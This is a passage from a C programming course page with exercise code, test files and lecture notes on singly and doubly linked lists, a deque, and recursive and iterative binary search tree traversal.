        tmp->data = c;
        tmp->next = first;
        first = tmp;
    }
    return first;
}

struct list *get2lst2() {
    int c;
    struct list *tmp, *first, *last;

    first = NULL;
    while ((c = getchar()) != EOF) {
        tmp = malloc(sizeof(*tmp));
        tmp->data = c;
        tmp->next = NULL;
        if (!first)
            first = tmp;
        else
            last->next = tmp;
        last = tmp;
    }
    return first;
}

struct list *arr2lst(int a[], int n) {
    struct list *tmp, *first;

    first = NULL;
    for (int i = n-1; i >= 0; i--) {
        tmp = malloc(sizeof(*tmp));
        tmp->data = a[i];
        tmp->next = first;
        first = tmp;
    }
    return first;
}

struct list *arr2lst2(int a[], int n) {
    struct list *tmp, *first, *last;

    first = NULL;
    for (int i = 0; i < n; i++) {
        tmp = malloc(sizeof(*tmp));
        tmp->data = a[i];
        tmp->next = NULL;
        if (!first)
            first = tmp;
        else
            last->next = tmp;
        last = tmp;
    }
    return first;
}

struct list *arr2lst3(int *a, int n) {
    struct list *tmp;
    if (!n)
        return NULL;
    tmp = malloc(sizeof(*tmp));
    tmp->data = *a;
    tmp->next = arr2lst3(a + 1, n - 1);
    return tmp;
}

struct list *arr2lst4(int *a, int n) {
    struct list *tmp;
    if (!n)
        return NULL;
    tmp = malloc(sizeof(*tmp));
    tmp->data = *a;
    tmp->next = arr2lst4(a + 1, n - 1);
    return tmp;
}

int sumlst(struct list* p) {
    int sum = 0;
    for ( ; p ; p = p->next)
        sum += p->data;
    return sum;
}

int sumlst2(struct list* p) {
    if (!p)
        return 0;
    return p->data + sumlst2(p->next);
}

void clnlst(struct list* p) {
    struct list *tmp;
    while (p) {
        tmp = p;
        p = p->next;
        free(tmp);
    }
}

void clnlst2(struct list* p) {
    if (p) {
        clnlst2(p->next);
        free(p);
    }
}

struct list *rmvitm(struct list *p) {
    struct list *tmp;
    tmp = p;
    p = p->next;
    free(tmp);
    return p;
}

struct list *insitm(struct list *p, int data) {
    struct list *tmp;
    tmp = malloc(sizeof *tmp);
    tmp->data = data;
    tmp->next = p;
    return tmp;
}

struct list *poslst(struct list *p) {
    struct list *tmp, *tmp2;
    while (p) {
        if (p->data < 0)
            p = rmvitm(p);
        else
            break;
    }
    if (tmp = p)
        while (tmp2 = tmp->next) {
            if (tmp2->data < 0)
                tmp->next = rmvitm(tmp2);
            else
                tmp = tmp->next;
        }
    return p;
}

void poslst2(struct list **p) {
    struct list *tmp;
    while (*p) {
        if ((*p)->data < 0) {
            tmp = *p;
            *p = (*p)->next;
            free(tmp);
        } else
            p = &(*p)->next;
    }
}

void poslst3(struct list **p) {
    while (*p) {
        if ((*p)->data < 0)
            *p = rmvitm(*p);
        else
            p = &(*p)->next;
    }
}

void inslst(struct list **p, int data) {
    while (*p) {
        if (data < (*p)->data) {
            break;
        }
        p = &(*p)->next;
    }
    *p = insitm(*p, data);
}

void poslst4(struct list **p) {
    if (*p) {
        poslst4(&(*p)->next);
        if ((*p)->data < 0)
            *p = rmvitm(*p);
    }
}

struct list *poslst5(struct list *p) {
    struct list *t = p;
    if (p) {
        p->next = poslst5(p->next);
        if (p->data < 0) {
            t = rmvitm(p);
        }
    }
    return t;
}

void poslst6(struct list **pl) {
    if (!*pl)
        return;
    poslst6(&(*pl)->next);
    if ((*pl)->data < 0) {
        struct list* tmp = *pl;
        *pl = (*pl)->next;
        free(tmp);
    }
}


int main() {
    struct list *p;
    int a[] = {-1, 2, 3, -2, 4};
    int n = sizeof(a)/sizeof(a[0]);
    p = arr2lst4(a, n);

    prtlst2(p);

    inslst(&p, 5);
    prtlst2(p);
    p = poslst5(p);
    prtlst2(p);

    clnlst2(p);
    return 0;
}
list-01.cC / 127 lines
#include <stdio.h>
#include <stdlib.h>

struct lst2 {
    int x;
    struct lst2 *n, *p;
};

struct dp {
    struct lst2 *f, *l;
};

void prtdp(struct dp *p) {
    struct lst2 *f = p->f;
    for ( ; f; f = f->n)
        printf("%d ", f->x);
    printf("\n");
}

void prtdpr(struct dp *p) {
    struct lst2 *l = p->l;
    for ( ; l; l = l->p)
        printf("%d ", l->x);
    printf("\n");
}

struct dp *initdp() {
    struct dp *p = malloc(sizeof(*p));
    p->f = NULL;
    p->l = NULL;
    return p;
}

struct dp *appdp(const int a[], int n) {
    struct lst2 *t;
    struct dp *p = initdp();
    for (int i = 0; i < n; i++) {
        t = malloc(sizeof(*t));
        t->x = a[i];
        t->n = NULL;
        if (!p->f) {
            p->f = t;
            t->p = NULL;
        } else {
            p->l->n = t;
            t->p = p->l;
        }
        p->l = t;
    }
    return p;
}

void insrht(struct dp *p, struct lst2 *c, int x) {
    struct lst2 *t;

    t = malloc(sizeof(*t));
    t->x = x;

    t->p = c;
    if (c) {
        t->n = c->n;
        c->n = t;
    }
    else {
        t->n = p->f;
        p->f = t;
    }

    if (t->n)
        t->n->p = t;
    else
        p->l = t;
}

void inslft(struct dp *p, struct lst2 *c, int x) {
    struct lst2 *t;

    t = malloc(sizeof(*t));
    t->x = x;

    t->n = c;
    if (c) {
        t->p = c->p;
        c->p = t;
    } else {
        t->p = p->l;
        p->l = t;
    }

    if (t->p)
        t->p->n = t;
    else
        p->f = t;
}

void rmvdp(struct dp *p, struct lst2 *c, int *x) {
    struct lst2 *t;

    t = c;
    *x = t->x;

    if (c->p)
        c->p->n = c->n;
    else
        p->f = c->n;

    if (c->n)
        c->n->p = c->p;
    else
        p->l = c->p;

    free(t);
}

int main() {
    int x;
    struct dp *p;
    int a[] = {25, 36, 49};
    int n = sizeof(a)/sizeof(*a);
    p = appdp(a, n);
    insrht(p, p->f->n, 44);
    prtdp(p);
    rmvdp(p, p->l, &x);
    printf("%d\n", x);
    prtdp(p);
    return 0;
}
list-02.cC / 94 lines
#include <stdio.h>
#include <stdlib.h>

typedef struct node_s {
    int value;
    struct node_s *next;
} node;

void *xmalloc(int size)
{
    void *p;
    p = malloc(size);
    if (!p) {
        fprintf(stderr, "Could not allocate dynamic memory\n");
        exit(1);
    }
    return p;
}

int str2int(const char *s)
{
    char c;
    int sign = 1;
    int res = 0;

    if (*s == '-') {
        sign = -1;
        s++;
    }
    for (; *s; s++) {
        res *= 10;
        c = *s;
        if (c < '0' || c > '9') {
            fprintf(stderr, "Count not convert string to integer\n");
            exit(2);
        }
        res += c - '0';
    }
    return sign * res;
}

void node_add(node **p, int value)
{
    node *tmp;
    tmp = xmalloc(sizeof(node));
    tmp->value = value;
    tmp->next = *p;
    *p = tmp;
}

void node_print(node *p)
{
    for (; p; p = p->next)
        printf("%d ", p->value);
    printf("\n");
}

void node_remove(node **p)
{
    node *tmp = *p;
    *p = (*p)->next;
    free(tmp);
}

void node_clean(node **p)
{
    while (*p)
        node_remove(p);
}

void node_remove_negative(node **p)
{
    while (*p)
        if ((*p)->value < 0)
            node_remove(p);
        else
            p = &(*p)->next;
}


int main(int argc, char **argv)
{
    int i;
    node *p = NULL;

    for (i = 1; i < argc; i++)
        node_add(&p, str2int(argv[i]));

    node_print(p);
    node_remove_negative(&p);
    node_print(p);
    node_clean(&p);
    return 0;
}
list-03.cC / 44 lines
#include <stdio.h>
#include <stdlib.h>

typedef struct node_s {
    int value;
    struct node_s *next;
} node;

void node_add(node **p, int value)
{
    node *tmp;
    tmp = malloc(sizeof(node));
    tmp->value = value;
    tmp->next = *p;
    *p = tmp;
}

void node_print(const node *p)
{
    for (; p; p = p->next)
        printf("%d ", p->value);
    printf("\n");
}

void node_clean(node *p)
{
    node *tmp;
    for (; p; p = tmp) {
        tmp = p->next;
        free(p);
    }
}

int main()
{
    node *p = NULL;

    node_add(&p, 1);
    node_add(&p, 2);

    node_print(p);
    node_clean(p);
    return 0;
}
list-04.cC / 127 lines
#include <stdio.h>
#include <stdlib.h>

typedef struct node_s {
    int value;
    struct node_s *next;
} node;

typedef struct {
    node *first, *last;
} list;


void *xmalloc(int size)
{
    void *p;
    p = malloc(size);
    if (!p) {
        fprintf(stderr, "Could not allocate dynamic memory\n");
        exit(1);
    }
    return p;
}

int str2int(const char *s)
{
    char c;
    int sign = 1;
    int res = 0;

    if (*s == '-') {
        sign = -1;
        s++;
    }
    for (; *s; s++) {
        res *= 10;
        c = *s;
        if (c < '0' || c > '9') {
            fprintf(stderr, "Count not convert string to integer\n");
            exit(2);
        }
        res += c - '0';
    }
    return sign * res;
}

void list_init(list *l)
{
    l->first = NULL;
    l->last = NULL;
}

void node_add(list *l, int value)
{
    node *tmp;
    tmp = xmalloc(sizeof(node));
    tmp->value = value;
    tmp->next = NULL;
    if (!l->first)
        l->first = tmp;
    else
        l->last->next = tmp;
    l->last = tmp;
}

void node_print(list l)
{
    node *p;
    for (p = l.first; p; p = p->next)
        printf("%d ", p->value);
    printf("\n");
}

void node_remove(node **p)
{
    node *tmp = *p;
    *p = (*p)->next;
    free(tmp);
}

void node_add_1(node *p) { p->value++; }

void node_modify(list *l)
{
    node *p;
    for (p = l->first; p; p = p->next)
        node_add_1(p);
}

void node_clean(list *l)
{
    node *p, *tmp;
    for (p = l->first; p; p = tmp) {
        tmp = p->next;
        free(p);
    }
    list_init(l);
}

void node_remove_negative(list *l)
{
    node **p;
    for (p = &l->first; *p;)
        if ((*p)->value < 0)
            node_remove(p);
        else
            p = &(*p)->next;
}


int main(int argc, char **argv)
{
    int i;
    list l;
    list_init(&l);

    for (i = 1; i < argc; i++)
        node_add(&l, str2int(argv[i]));

    node_print(l);
    node_remove_negative(&l);
    node_print(l);
    node_modify(&l);
    node_print(l);
    node_clean(&l);
    return 0;
}
list-05.cC / 96 lines
#include <stdio.h>
#include <stdlib.h>

typedef struct node_s {
    int value;
    struct node_s *next;
} node;

typedef struct {
    node *first, *last;
} list;


void *xmalloc(int size)
{
    void *p;
    p = malloc(size);
    if (!p) {
        fprintf(stderr, "Could not allocate dynamic memory\n");
        exit(1);
    }
    return p;
}

int str2int(const char *s)
{
    char c;
    int sign = 1;
    int res = 0;

    if (*s == '-') {
        sign = -1;
        s++;
    }
    for (; *s; s++) {
        res *= 10;
        c = *s;
        if (c < '0' || c > '9') {
            fprintf(stderr, "Could not convert string to integer\n");
            exit(2);
        }
        res += c - '0';
    }
    return sign * res;
}

void list_init(list *l)
{
    l->first = NULL;
    l->last = NULL;
}

void node_add(list *l, int value)
{
    node *tmp;
    tmp = xmalloc(sizeof(node));
    tmp->value = value;
    tmp->next = NULL;
    if (!l->first)
        l->first = tmp;
    else
        l->last->next = tmp;
    l->last = tmp;
}

void node_print(const list *l)
{
    node *p;
    for (p = l->first; p; p = p->next)
        printf("%d ", p->value);
    printf("\n");
}

void node_clean(list *l)
{
    node *p, *tmp;
    for (p = l->first; p; p = tmp) {
        tmp = p->next;
        free(p);
    }
    list_init(l);
}

int main(int argc, char **argv)
{
    int i;
    list l;
    list_init(&l);

    for (i = 1; i < argc; i++)
        node_add(&l, str2int(argv[i]));

    node_print(&l);
    node_clean(&l);
    return 0;
}
list-06.cC / 134 lines
#include <stdio.h>
#include <stdlib.h>

struct list {
    int data;
    struct list *next;
};

void prtlst(struct list *ptr) {
    while (ptr) {
        printf("%d ", ptr->data);
        ptr = ptr->next;
    }
    printf("\n");
}

struct list *arr2lst(const int a[], int n) {
    struct list *tmp, *first = NULL;
    for (int i = n-1; i >= 0; i--) {
        tmp = malloc(sizeof(*tmp));
        tmp->data = a[i];
        tmp->next = first;
        first = tmp;
    }
    return first;
}

struct list *arr2lst2(const int a[], int n) {
    struct list *first, *last, *tmp;

    first = NULL;
    for (int i = 0; i < n; i++) {
        tmp = malloc(sizeof(*tmp));
        tmp->data = a[i];
        tmp->next = NULL;
        if (!first)
            first = tmp;
        else
            last->next = tmp;
        last = tmp;
    }
    return first;
}

struct list* arr2lst3(const int a[], int n) {
    struct list *tmp;
    if (!n)
        return NULL;
    tmp = malloc(sizeof(*tmp));
    tmp->data = *a;
    tmp->next = arr2lst3(a + 1, n - 1);
    return tmp;
}

long sumlst(const struct list* l) {
    long sum = 0;
    while (l) {
        sum += l->data;
        l = l->next;
    }
    return sum;
}

void delneglst(struct list **pl) {
    while (*pl) {
        if ((*pl)->data < 0) {
            struct list* tmp = *pl;
            *pl = (*pl)->next;
            free(tmp);
        }
        else
            pl = &(*pl)->next;
    }
}


void delneglst2(struct list **pl) {
    if (!*pl)
        return;
    if ((*pl)->data < 0) {
        struct list* tmp = *pl;
        *pl = (*pl)->next;
        free(tmp);
    }
    delneglst2(&(*pl)->next);
}

void delneglst3(struct list *l) {
    struct list *tmp, *tmp2;
    while (l) {
        if (l->data < 0) {
            tmp = l;
            l = l->next;
            free(tmp);
        } else {
            break;
        }
    }
    if (l) {
        while (tmp = l->next) {
            if (tmp->data < 0) {
                tmp2 = tmp;
                tmp = tmp->next;
                free(tmp2);
                l->next = tmp;
            } else {
                l = l->next;
            }
        }
    }
}

struct list *delneglst4(struct list *l) {
    struct list *res = l;
    if (l) {
        l->next = delneglst4(l->next);
        if (l->data < 0) {
            res = l->next;
            free(l);
        }
    }
    return res;
}

int main() {
    struct list *l = NULL;
    int a[] = {1, -3, 2, -1, 3, 4};
    int n = sizeof(a)/sizeof(a[0]);
    l = arr2lst3(a, n);
    prtlst(l);
    l = delneglst4(l);
    prtlst(l);
    return 0;
}
list-07.cC / 178 lines
#include <stdio.h>
#include <stdlib.h>

struct list {
    int data;
    struct list *next;
};

void prtlstchr(struct list *first) {
    for (; first; first = first->next)
        putchar(first->data);
    printf("\n");
}

void prtlst(struct list *first) {
    for (; first; first = first->next)
        printf("%d ", first->data);
    printf("\n");
}

void prtlst2(struct list *first) {
    if (first) {
        printf("%d ", first->data);
        prtlst2(first->next);
    } else {
        printf("\n");
    }
}

struct list *get2lst() {
    int c;
    struct list *tmp, *first;

    first = NULL;
    while ((c = getchar()) != EOF) {
        tmp = malloc(sizeof(*tmp));
        tmp->data = c;
        tmp->next = first;
        first = tmp;
    }
    return first;
}

struct list *get2lst2() {
    int c;
    struct list *tmp, *first, *last;

    first = NULL;
    while ((c = getchar()) != EOF) {
        tmp = malloc(sizeof(*tmp));
        tmp->data = c;
        tmp->next = NULL;
        if (!first)
            first = tmp;
        else
            last->next = tmp;
        last = tmp;
    }
    return first;
}

struct list *arr2lst(int a[], int n) {
    struct list *tmp, *first;

    first = NULL;
    for (int i = n-1; i >= 0; i--) {
        tmp = malloc(sizeof(*tmp));
        tmp->data = a[i];
        tmp->next = first;
        first = tmp;
    }
    return first;
}

struct list *arr2lst2(int a[], int n) {
    struct list *tmp, *first, *last;

    first = NULL;
    for (int i = 0; i < n; i++) {
        tmp = malloc(sizeof(*tmp));
        tmp->data = a[i];
        tmp->next = NULL;
        if (!first)
            first = tmp;
        else
            last->next = tmp;
        last = tmp;
    }
    return first;
}

struct list *arr2lst3(int *a, int n) {
    struct list *tmp;
    if (!n)
        return NULL;
    tmp = malloc(sizeof(*tmp));
    tmp->data = *a;
    tmp->next = arr2lst3(a + 1, n - 1);
    return tmp;
}

struct list *arr2lst4(int *a, int n) {
    struct list *tmp;
    if (!n)
        return NULL;
    tmp = malloc(sizeof(*tmp));
    tmp->data = *a;
    tmp->next = arr2lst4(a + 1, n - 1);
    return tmp;
}

int sumlst(struct list* p) {
    int sum = 0;
    for ( ; p ; p = p->next)
        sum += p->data;
    return sum;
}

int sumlst2(struct list* p) {
    if (!p)
        return 0;
    return p->data + sumlst2(p->next);
}

void clnlst(struct list* p) {
    struct list *tmp;
    while (p) {
        tmp = p;
        p = p->next;
        free(tmp);
    }
}

void clnlst2(struct list* p) {
    if (p) {
        clnlst2(p->next);
        free(p);
    }
}

struct list *rmvitm(struct list *p) {
    struct list *tmp;
    tmp = p;
    p = p->next;
    free(tmp);
    return p;
}

struct list *poslst(struct list *p) {
    struct list *tmp, *tmp2;
    while (p) {
        if (p->data < 0)
            p = rmvitm(p);
        else
            break;
    }
    if (tmp = p)
        while (tmp2 = tmp->next) {
            if (tmp2->data < 0)
                tmp->next = rmvitm(tmp2);
            else
                tmp = tmp->next;
        }
    return p;
}

int main() {
    struct list *p;
    int a[] = {-1, 2, 3, -2, 4};
    int n = sizeof(a)/sizeof(a[0]);
    p = arr2lst4(a, n);
    prtlst2(p);
    p = poslst(p);
    prtlst2(p);

    clnlst2(p);
    return 0;
}

Doubly linked lists

struct list_item {
    int value;
    struct list_item *prev, *next;
};

struct doubly_linked_list {
    struct list_item *first, *last;
};
Write a function to insert an item.
Show the solution
void insert_right(struct doubly_linked_list *p, struct list_item *curr,
                  int value)
{
    struct list_item *tmp;

    tmp = xmalloc(sizeof(*tmp));
    tmp->value = value;

    tmp->prev = curr;
    if (curr) {
        tmp->next = curr->next;
        curr->next = tmp;
    }
    else {
        tmp->next = p->first;
        p->first = tmp;
    }

    if (tmp->next)
        tmp->next->prev = tmp;
    else
        p->last = tmp;
}
Write a function to remove an item.
Show the solution
void remove_item(struct doubly_linked_list *p, struct list_item *curr)
{
    if (curr->prev)
        curr->prev->next = curr->next;
    else
        p->first = curr->next;

    if (curr->next)
        curr->next->prev = curr->prev;
    else
        p->last = curr->prev;
    free(curr);
}
Detailed notes - 4.5.3: Doubly linked lists

1

node contains previous and next links

  • first/last identify the ends
  • a known node gives access in either direction
  • insertions/deletions must maintain both links and the endpoint pointers

2

struct dbl_item contains double data plus prev and next pointers

  • first = last = NULL initially
  • prepend: new prev = NULL, next = old first
    • old first exists -> update its prev
    • otherwise set last to new node
    • set first to new node
  • append is the mirror operation using last

conditional expressions can select which pointer field to update

  • *(first ? &first->prev : &last) = tmp;
  • author shows this compact form for recognition, not as recommended style

3

remove first only after checking it exists

  • save node, advance first
  • new first exists -> set its prev = NULL
  • otherwise clear last too
  • free the saved node
  • removing last is symmetric
  • repeating removal deletes the whole list
  • alternative traversal can free each predecessor, then the final saved last node

4

insertion relative to an existing current node:

  • before current: new next = current, prev = current->prev
  • update current->prev and previous neighbor's next, or first
  • after current is symmetric, updating next neighbor or last
  • current must be valid; allocation must succeed before links are changed

unlink current by repairing both directions

  • previous neighbor's next, or first, receives current->next
  • next neighbor's prev, or last, receives current->prev
  • node is now detached even though its own fields still contain old links

if traversal position is no longer needed:

  • free(current); current = NULL;

to continue traversal, save the successor/predecessor before freeing current

  • forward scan uses next
  • backward scan uses prev
  • never read a field after its node has been freed
Tests & experiments (2 files) - 4.5.3: Doubly linked lists
Section test03 (04-05)In catalog
deque.cC / 111 lines
#include <stdio.h>
#include <stdlib.h>

struct lst2 {
    int x;
    struct lst2 *n, *p;
};

struct dq {
    struct lst2 *f, *l;
};

struct dq *dqini() {
    struct dq *d;
    d = malloc(sizeof(*d));
    d->f = NULL;
    d->l = NULL;
    return d;
}

int dqemp(struct dq *d) {
    if (d->f)
        return 0;
    else
        return 1;
}

void dqpsf(struct dq *d, int x) {
    struct lst2 *t;
    t = malloc(sizeof(*t));

    t->x = x;
    t->p = NULL;
    t->n = d->f;

    if (d->f) {
        d->f->p = t;
    } else {
        d->l = t;
    }
    d->f = t;
}

void dqpsb(struct dq *d, int x) {
    struct lst2 *t;
    t = malloc(sizeof(*t));

    t->x = x;
    t->n = NULL;
    t->p = d->l;

    if (d->l) {
        d->l->n = t;
    } else {
        d->f = t;
    }
    d->l = t;
}

void dqppf(struct dq *d, int *x) {
    struct lst2 *t;

    t = d->f;
    *x = t->x;

    d->f = d->f->n;
    if (d->f)
        d->f->p = NULL;
    else
        d->l = NULL;

    free(t);
}

void dqppb(struct dq *d, int *x) {
    struct lst2 *t;

    t = d->l;
    *x = t->x;

    d->l = d->l->p;
    if (d->l)
        d->l->n = NULL;
    else
        d->f = NULL;

    free(t);
}

int main() {
    int x;
    int a[] = {1, 2, 3, 4};
    int n = sizeof(a)/sizeof(*a);
    struct dq *d;

    d = dqini();

    for (int i = 0; i < n; i++) {
        dqpsb(d, a[i]);
    }

    for (int i = 0; i < n; i++) {
        if (!dqemp(d)) {
            dqppf(d, &x);
            printf("%d ", x);
        }
    }
    printf("\n");

    return 0;
}
doubly_linked_list.cC / 115 lines
#include <stdio.h>
#include <stdlib.h>

struct list_item {
    int value;
    struct list_item *prev, *next;
};

struct doubly_linked_list {
    struct list_item *first, *last;
};

void *xmalloc(int size)
{
    void *p;
    p = malloc(size);
    if (!p) {
        fprintf(stderr, "Could not allocate dynamic memory\n");
        exit(1);
    }
    return p;
}

void init_list(struct doubly_linked_list *p)
{
    p->first = NULL;
    p->last = NULL;
}

void print_list(const struct doubly_linked_list *p)
{
    struct list_item *tmp;
    for (tmp = p->first; tmp; tmp = tmp->next)
        printf("%d ", tmp->value);
    printf("\n");
}

void insert_right(struct doubly_linked_list *p, struct list_item *curr,
                  int value)
{
    struct list_item *tmp;

    tmp = xmalloc(sizeof(*tmp));
    tmp->value = value;

    tmp->prev = curr;
    if (curr) {
        tmp->next = curr->next;
        curr->next = tmp;
    }
    else {
        tmp->next = p->first;
        p->first = tmp;
    }

    if (tmp->next)
        tmp->next->prev = tmp;
    else
        p->last = tmp;
}

void insert_left(struct doubly_linked_list *p, struct list_item *curr,
                 int value)
{
    struct list_item *tmp;

    tmp = xmalloc(sizeof(*tmp));
    tmp->value = value;

    tmp->next = curr;
    if (curr) {
        tmp->prev = curr->prev;
        curr->prev = tmp;
    } else {
        tmp->prev = p->last;
        p->last = tmp;
    }

    if (tmp->prev)
        tmp->prev->next = tmp;
    else
        p->first = tmp;
}

void remove_item(struct doubly_linked_list *p, struct list_item *curr)
{
    if (curr->prev)
        curr->prev->next = curr->next;
    else
        p->first = curr->next;

    if (curr->next)
        curr->next->prev = curr->prev;
    else
        p->last = curr->prev;
    free(curr);
}

int main()
{
    struct doubly_linked_list l;
    init_list(&l);
    insert_right(&l, l.last, 1);
    insert_right(&l, l.last, 2);
    insert_right(&l, l.last, 3);
    insert_right(&l, l.last, 4);
    remove_item(&l, l.last->prev);

    insert_left(&l, l.first, 5);
    insert_left(&l, l.first, 6);
    insert_left(&l, l.first, 7);
    insert_left(&l, l.first, 8);
    print_list(&l);
    return 0;
}

Simple binary search tree

struct tree {
    int value;
    struct tree *left, *right;
};
void init_node(struct tree **node, int value)
{
    *node = malloc(sizeof **node);
    (*node)->value = value;
    (*node)->left = NULL;
    (*node)->right = NULL;
}

int insert_node(struct tree **node, int value)
{
    int res;
    if (!(*node)) {
        init_node(node, value);
        res = 1;
    } else if (value < (*node)->value)
        res = insert_node(&(*node)->left, value);
    else if (value > (*node)->value)
        res = insert_node(&(*node)->right, value);
    else
        res = 0;
    return res;
}
void print_tree(struct tree *node)
{
    if (node) {
        print_tree(node->left);
        printf("%d\n", node->value);
        print_tree(node->right);
    }
}

Now write the print_tree function without recursion.

Show the solution
enum states { LEFT, CENTER, RIGHT };

struct stack {
    struct tree *node;
    enum states state;
    int been_left, been_right;
    struct stack *next;
};

void push(struct stack **task, struct tree *node)
{
    struct stack *tmp;
    tmp = malloc(sizeof *tmp);
    tmp->node = node;
    tmp->state = LEFT;
    tmp->been_left = 0;
    tmp->been_right = 0;
    tmp->next = *task;
    *task = tmp;
}

void pop(struct stack **task)
{
    struct stack *tmp;
    tmp = *task;
    *task = (*task)->next;
    free(tmp);
}

void case_left(struct stack **task)
{
    struct tree *node = (*task)->node->left;
    if (node && !(*task)->been_left) {
        (*task)->been_left = 1;
        push(task, node);
    } else
        (*task)->state = CENTER;
}

void case_center(struct stack **task)
{
    if (!(*task)->been_right)
        printf("%d\n", (*task)->node->value);
    (*task)->state = RIGHT;
}

void case_right(struct stack **task)
{
    struct tree *node = (*task)->node->right;
    if (node && !(*task)->been_right) {
        (*task)->been_right = 1;
        push(task, node);
    } else
        pop(task);
}

void print_tree2(struct tree *node)
{
    struct stack *task = NULL;
    push(&task, node);
    while (task) {
        switch (task->state) {
            case (LEFT):
                case_left(&task);
                break;
            case (CENTER):
                case_center(&task);
                break;
            case (RIGHT):
                case_right(&task);
        }
    }
}
Detailed notes - 4.5.4: Binary search trees

1

binary-tree node contains payload and left/right child pointers

  • NULL represents an empty subtree

2

struct node contains int val and left/right pointers

  • recursive inorder traversal:
    • empty -> return
    • traverse left
    • print current value
    • traverse right

iterative traversal must store the information recursion would remember

  • explicit stack entry: node pointer, state, next stack entry
  • start: left subtree still to visit
  • left_visited: print value, then visit right
  • completed: pop and free the traversal frame
  • update state before pushing a child so resumption happens at the right step

explicit stack models recursive function frames

  • node parameter corresponds to the saved node pointer
  • return address implicitly records which subtree has already been processed
  • recursion hides this bookkeeping rather than eliminating it

3

explicit traversal state is useful for pausing and resuming between requested values

  • recursive traversal is simpler when the whole walk occurs in one call
  • performance and space depend on the concrete stack implementation

4

search-tree ordering:

  • smaller values in left subtree, larger values in right subtree
  • insertion receives struct node **root so it can replace an empty subtree link
  • recurse using &node->left or &node->right

5

insertion base case: *root is NULL

  • allocate and initialize a node
  • assign the incoming link
  • both child links start NULL
  • handle allocation failure in complete code

6

equal value: example does nothing

  • alternative policies may report a duplicate or maintain a frequency count

7

smaller value -> recursively insert left

  • larger value -> recursively insert right
  • recursion eventually finds the appropriate empty child link

8

plain BST shape depends on insertion order

  • sorted input can turn it into a chain
  • lookup then loses the expected logarithmic advantage
  • balanced alternatives include red-black and AVL trees

9

some workloads produce acceptable shapes without balancing

  • another alternative for strings is a trie
  • each level follows the next character
  • path length follows key length rather than a binary comparison-tree shape
Recursion stores the return position; an explicit stack must store it as data.
Inorder traversal: left, node, right. Open full size - Editable SVG
Examples & tests (18 files) - 4.5.4: Binary search trees
Book exampleBook example: bintree.cIn catalog
bintree.cC / 111 lines
#include <stdio.h>
#include <stdlib.h>

struct node {
    int val;
    struct node *left, *right;
};

void int_bin_tree_add(struct node **root, int n)
{
    if(!*root) {
        *root = (struct node*) malloc(sizeof(**root));
        (*root)->val = n;
        (*root)->left = NULL;
        (*root)->right = NULL;
        return;
    }
    if((*root)->val == n)
        return;
    if(n < (*root)->val)
        int_bin_tree_add(&(*root)->left, n);
    else
        int_bin_tree_add(&(*root)->right, n);
}

void int_bin_tree_print_rec(struct node *r)
{
    if(!r)
        return;
    int_bin_tree_print_rec(r->left);
    printf("%d ", r->val);
    int_bin_tree_print_rec(r->right);
}

void int_bin_tree_print_loop(struct node *r)
{
    enum state { start, left_visited, completed };
    struct backpath {
        struct node *p;
        enum state st;
        struct backpath *next;
    };
    struct backpath *bp, *t;
    if(!r)
        return;
    bp = malloc(sizeof(*bp));
    bp->p = r;
    bp->st = start;
    bp->next = NULL;
    while(bp) {
        switch(bp->st) {
        case start:
            bp->st = left_visited;
            if(bp->p->left) {
                t = malloc(sizeof(*t));
                t->p = bp->p->left;
                t->st = start;
                t->next = bp;
                bp = t;
                continue;
            }
            /* no break here */
        case left_visited:
            printf("%d ", bp->p->val);
            bp->st = completed;
            if(bp->p->right) {
                t = malloc(sizeof(*t));
                t->p = bp->p->right;
                t->st = start;
                t->next = bp;
                bp = t;
                continue;
            }
            /* no break here */
        case completed:
            t = bp;
            bp = bp->next;
            free(t);
        }
    }
}

void int_bin_tree_dispose(struct node *r)
{
    if(!r)
        return;
    int_bin_tree_dispose(r->left);
    int_bin_tree_dispose(r->right);
    free(r);
}


int main()
{
    static const int vals[] = {
        50, 25, 75, 15, 30, 60, 90, 10, 20, 40,
        60, 70, 80, 95,  5, 35, 45, 55, 65, 85
    };
    struct node *root = NULL;
    int i;

    for(i = 0; i < sizeof(vals) / sizeof(*vals); i++)
        int_bin_tree_add(&root, vals[i]);

    int_bin_tree_print_rec(root); printf("\n");
    int_bin_tree_print_loop(root); printf("\n");

    int_bin_tree_dispose(root);

    return 0;
}
Section test04 (04-05)In catalog
tree-00.cC / 106 lines
#include <stdio.h>
#include <stdlib.h>

struct tree {
    int data;
    struct tree *left, *right;
};

void init_tree(struct tree **root) {
    *root = NULL;
}

void init_branch(struct tree **root, int data) {
    *root = malloc(sizeof **root);
    (*root)->data = data;
    (*root)->left = NULL;
    (*root)->right = NULL;
}

void print_tree(struct tree *root) {
    if (!root)
        return;
    print_tree(root->left);
    printf("%d\n", root->data);
    print_tree(root->right);
}

int sum_tree(struct tree *root) {
    int sum = 0;
    if (!root)
        return 0;
    sum += sum_tree(root->left);
    sum += root->data;
    sum += sum_tree(root->right);
    return sum;
}

int search_tree(struct tree *root, int data) {
    if (!root)
        return 0;
    else if (data < root->data)
        search_tree(root->left, data);
    else if (data > root->data)
        search_tree(root->right, data);
    else
        return 1;
}

int insert_tree(struct tree **root, int data) {
    int res;
    if (!(*root)) {
        init_branch(root, data);
        res = 1;
    } else if (data < (*root)->data)
        res = insert_tree(&(*root)->left, data);
    else if (data > (*root)->data)
        res = insert_tree(&(*root)->right, data);
    else
        res = 0;
    return res;
}

struct tree **search_tree2(struct tree **root, int data) {
    if (!*root || (*root)->data == data)
        return root;
    else if (data < (*root)->data)
        root = search_tree2(&(*root)->left, data);
    else if (data > (*root)->data)
        root = search_tree2(&(*root)->right, data);
}

int in_tree2(struct tree *root, int data) {
    struct tree **pos = search_tree2(&root, data);
    if (*pos)
        return 1;
    else
        return 0;
}

int insert_tree2(struct tree **root, int data) {
    struct tree **pos = search_tree2(root, data);
    if (!*pos) {
        init_branch(pos, data);
        return 1;
    } else
        return 0;
}


int main() {
    int res;
    struct tree *root;

    init_tree(&root);
    insert_tree2(&root, 4);
    insert_tree2(&root, 1);
    insert_tree2(&root, 5);
    insert_tree2(&root, 3);
    insert_tree2(&root, 2);
    print_tree(root);
    res = in_tree2(root, 7);
    printf("%d\n", res);
    res = sum_tree(root);
    printf("%d\n", res);
    return 0;
}
tree-01.cC / 186 lines
#include <stdio.h>
#include <stdlib.h>

struct node {
    int val;
    struct node *left, *right;
};

struct list {
    struct node *val;
    struct list *next;
};

void init_node(struct node **r, int val) {
    *r = malloc(sizeof **r);
    (*r)->val = val;
    (*r)->left = NULL;
    (*r)->right = NULL;
}

void push_list(struct list **p, struct node *val) {
    struct list *tmp;
    tmp = malloc(sizeof *tmp);
    tmp->val = val;
